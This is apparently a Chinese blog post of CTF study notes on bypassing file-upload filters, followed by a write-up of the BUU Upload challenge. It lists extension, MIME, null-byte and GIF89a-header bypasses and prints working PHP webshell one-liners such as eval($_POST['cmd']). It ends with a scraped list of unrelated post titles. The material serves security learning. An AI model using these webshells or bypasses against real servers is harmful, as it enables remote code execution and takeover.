http://39.96.86.88/2020/04/03/

write up

  • 文件上传
  • write up

文件上传

0x01 文件上传绕过

1.客户端js检查绕过

原理:客户端通过js检查提交的文件是否合法

绕过:

​ 1.添加允许上传的文件类型,使待上传的文件合法

​ 2.删除对js验证脚本的调用,使其不能进行检测,从而绕过。具体是删除

​ οnsubmit="return checkFile(),它的作用是点击上传时,会触发js验证脚本,删除 后无法触发。

​ 3.burpsuite抓包,修改文件类型。先将想要上传的脚本的后缀改为符合要求的后 缀(eg: demo.php -> demo.jpg),当点击上传时使用burp suite抓包将后缀改回 为.php,让服务器能运行上传的php代码。

2.服务端绕过

1.MIME类型检测绕过

原理:当用户上传文件到服务器端时,服务器会获得上传文件的MIME类型,然后利用这个类型和期望的MIME类型匹配,匹配不上则不合法。

#//检测MIME类型代码
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')){...//判断过后对文件处理的进一步操作
}

绕过:

​ 获取MIME类型的值是通过HTTP请求字段里的Content-Type字段,所以绕过方是通 过修改Content-Type的值,比如: image/jepg image/png image/gif 等等上传类型 对应的MIME值。

2.黑名单绕过

原理:服务器有一个黑名单,只要你上次的文件和黑名单匹配,那么禁止上传。

绕过:

​ 1.文件名大小绕过

​ AsP,pHp之类的后缀绕过

​ 2.名单列表绕过

​ 利用黑名单没有的进行攻击,比如黑名单里没有asa或cer等

​ 3.特殊文件名绕过

​ 比如发送的http暴力的文件名改为test.asp. 或者 test.asp_(下划线为空格),因为 windows不允许这种命名方式,所以在burp suite里面修改,绕过检测后,windows 会自动去掉后面的 点 和 空格 。(linux无此特性)

​ 4.0x00截断绕过

test.php(0x00).jpg
test.php%00.jpg

​ 为什么?看下面这张图片,空,被解析后只剩下test.php

​ 5. .htaccess文件攻击

​ 6.解析调用/漏洞绕过

​ 7. .init文件攻击

​ 8.文件头绕过

​ 在木马基础上添加一些文件信息,比如加上 GIF89a 是服务器将文件作为图片文 件。

​ 9.多个Content-Disposition

​ 在iis环境下,上传文件如果有多个Content-Disposition,iiis会取第一个Content- Disposition中的值作为接收参数,而waf只是取最后一个的话便会绕过, Win2k8 + IIS7.0 + PHP

​ 10.目录验证

​ iis6.0存在写入目录

0x02大佬常用的一句话

​ 1.一次任意上传漏洞,在config.php中未发现定义类型Media,请求: upload/.php?Type=Media

​ 2.上传图片木马

​ 3.序列化木马

<?phpclass A{var $a = '<?php phpinfo() ?>';
}
$b = new A();
echo serialize($b);
?>

​ 4.php后缀: php,php3,php4,php5,phtml,pht

​ 5.扩展名绕过

Asp:asa cer cdx
Aspx:ashx asmx ascx
Php:php3 phptml
Jsp:jspx jspf

​ 6.

<script language='php'>system("ls")</script>

​ 7.

GIF89a
<script language='php'>@eval($_POST['shell'])</script>

https://www.cnblogs.com/ldhbetter/p/9190556.html
https://www.cnblogs.com/wangtanzhi/p/12243206.html

write up

直接上传jpg文件里面写入 php木马

回显表明不能有php格,说明php一句话不能用了

换一句话 <script language="php"> eval($_POST['cmd'])</script>

说不是图片

上传图片木马遇到拦截系统,连图片木马都上传不了,记事本打开图片木马在代码最前面加上gif89a,一般就能逃过拦截系统了。

既然代码可以屏蔽了“<?” 就是希望我们使用其他方式上传php文件,然而它又能检测图片是否为一个原汁原味的真图片,则可以想到:题目可能是检测的GIF动图的文件头”gif89a

一句话换为 :

GIF89a
<script language='php'>@eval($_POST['cmd'])</script>

为了让服务器能运行里面的php代码,上传的文件最终应该是php文件,这里用burpsuite抓包,改后缀为phtml。

php常用后缀: php,php3,php4,php5,phtml,pht,phtm

得到flag

原来之前一直连不上是因为upload.php整成了upload_file.php(好像是上传后自动会创建upload文件夹防上传的文件),好像以前的题目也有这样的情况,淦,只有记住了。虽然还是不明白为什么时upload,但无所谓了。不过借此机会把蚁剑下下来了,还行吧。
附上百度云链接:https://pan.baidu.com/s/1J7SH4mchH8AHyo7ybs4eFg
密码:xl0m

文件上传漏洞 随便贴一个实战演示 BUU Upload(文件上传,过滤后缀,另类一句话) write up相关推荐

  1. 计算机网络路由器的配置连接不上,为什么路由器连接不上_我的电脑换了一个路由器怎么就连接不上网络呢...

    手机连不上路由器怎么办? 手机连不上wifi怎么办 我的路由器连接不上网络了应该怎么设置? 原因及解决办法: 1.路由器插口连接错误 用户第一步应该检查插口是否连接错误,WAN接口是路由器网络接入插口 ...

  2. win7怎么打开html 文件夹,win7系统怎么设置一个窗口打开多个文件夹

    我们常常在使用电脑的时候都会发现,一些用户在打开文件夹会发现我们不能同时在一个窗口下打开,用起来非常的不方便,那么你知道win7系统怎么设置一个窗口打开多个文件夹吗?下面是学习啦小编整理的一些关于wi ...

  3. LeetCode149. 直线上最多的点数: 给定一个二维平面,平面上有 n 个点,求最多有多少个点在同一条直线上。

    给定一个二维平面,平面上有 n 个点,求最多有多少个点在同一条直线上. 示例 1: 输入: [[1,1],[2,2],[3,3]] 输出: 3 解释: ^ | | o | o | o ±------- ...

  4. vue.js上传头像插件_一个基于vue2.0的头像上传组件

    vue-avatar 基于vuejs2.0 + webpack环境使用的上传组件 支持服务器的域名和接口单独设置 支持自定义提交字段 支持自定义xhr 提交的header字段/表单name/限定上传格 ...

  5. JAVA file列出所有文件_用Java代码列出一个目录下所有的文件

    1.File类 File类在java.io.File包中,所以要导入这个包. File类中用到的方法: boolean isDirectory()       测试此抽象路径名表示的文件是否是个目录 ...

  6. 几个小工具帮你轻松解决“文件夹正在使用”、“另一个程序正在使用此文件”

    上一篇写了<终于解决了:你需要来自XXX的权限才能对此文件进行更改> 今天想分享的则是用于「解除文件占用」方便你快速删除的工具,虽然这些工具都是使用频率低,但对阿虚来说几乎是必备的工具 毕 ...

  7. jenkins publish over ssh远程发送文件夹(目录)的一个坑(指定了文件夹路径却没有发送成功)

    解决方式:就是source file指定的目录需要在最后面加/,不加/就不会发送成功,日志也不打印,坑爹.

  8. Web安全 文件上传漏洞的 测试和利用.(上传一个图片或文件 拿下服务器最高权限.)

    文件上传漏洞的概括 现在大多的网站和Web应用系统都会有上传功能(比如:文档,图片,头像,视频上传等.),而程序员在开发文件上传功能时,没有对代码做严格校验上传文件的后缀和文件类型. 此时攻击者就可以 ...

  9. 文件上传漏洞 (上传知识点、题型总结大全-upload靶场全解)

    文件上传漏洞 什么是文件上传漏洞 什么是webshell 一句话木马大全 产生文件上传漏洞的原因 文件上传漏洞的攻击与防御方式 1.前端限制 2.检查扩展名 1.黑名单策略, 2.白名单策略 3.检查 ...

最新文章

  1. 一键cosplay各路动漫人物!快手的这个BlendGAN火了 | NeurIPS 2021
  2. 《漫画算法2》源码整理-4 字符串匹配算法 RK KMP
  3. 禁止backspace键(退格键),但输入文本框时不禁止(兼容IE)
  4. 【项目管理】ITTO-进度管理
  5. Vista 系统C盘(系统盘)越来越小的问题.与解决.
  6. 你真的不了解这个地球
  7. arcgis创建剖面线execl文件
  8. unity3D游戏开发实战原创视频讲座系列7之消消乐游戏开发
  9. ifttt.com:让你的网络行为能引发连锁反应
  10. python新手常犯的17个错误
  11. Atitit 容器化技术之道 attilax著 1. 概念 1 1.1. 容器是应用服务器中位于组件和平台之间的接口集合。 1 1.2. 有时候也指集合的概念,里面可以存放不同对象 2 1.3. 、新
  12. taobao滑动验证码解决方法
  13. Ext.Net配色方案
  14. moment 计算日期差
  15. 车牌号合法性校验正则表达式(含新能源车牌)
  16. 【SpringBoot2.0】基于Atomikos的多数据源分布式事务(XA)解决方案
  17. 计算机课会点名吗,网课突然被点名的尴尬,你也懂的吧
  18. Pulsar 社区周报| 2020-12-05 ~ 2020-12-11
  19. DIV内文字两端对齐
  20. 在一个内部群里,我围观了微信最流行的诱导吸粉活动

热门文章

  1. 自己搜集整理的行政能力测试题集免费分享
  2. 表单打印html代码,Html表格代码实现打印
  3. Hinton等谈深度学习十年;PyTorch落地Linux基金会的影响;机器学习界的“GitHub”|AI系统前沿动态
  4. Chrome23下支付宝无法安装安全控件解决方法
  5. UCOSII源码分析五——任务优先级与任务调度
  6. MySQL数据恢复助手,mysqlbinlog工具使用
  7. gd32f470总结
  8. 互联网公司招聘--去哪儿--产品运营--2016年笔试题
  9. photoshop 快速画直线
  10. matlab有限元工具箱计算+python绘图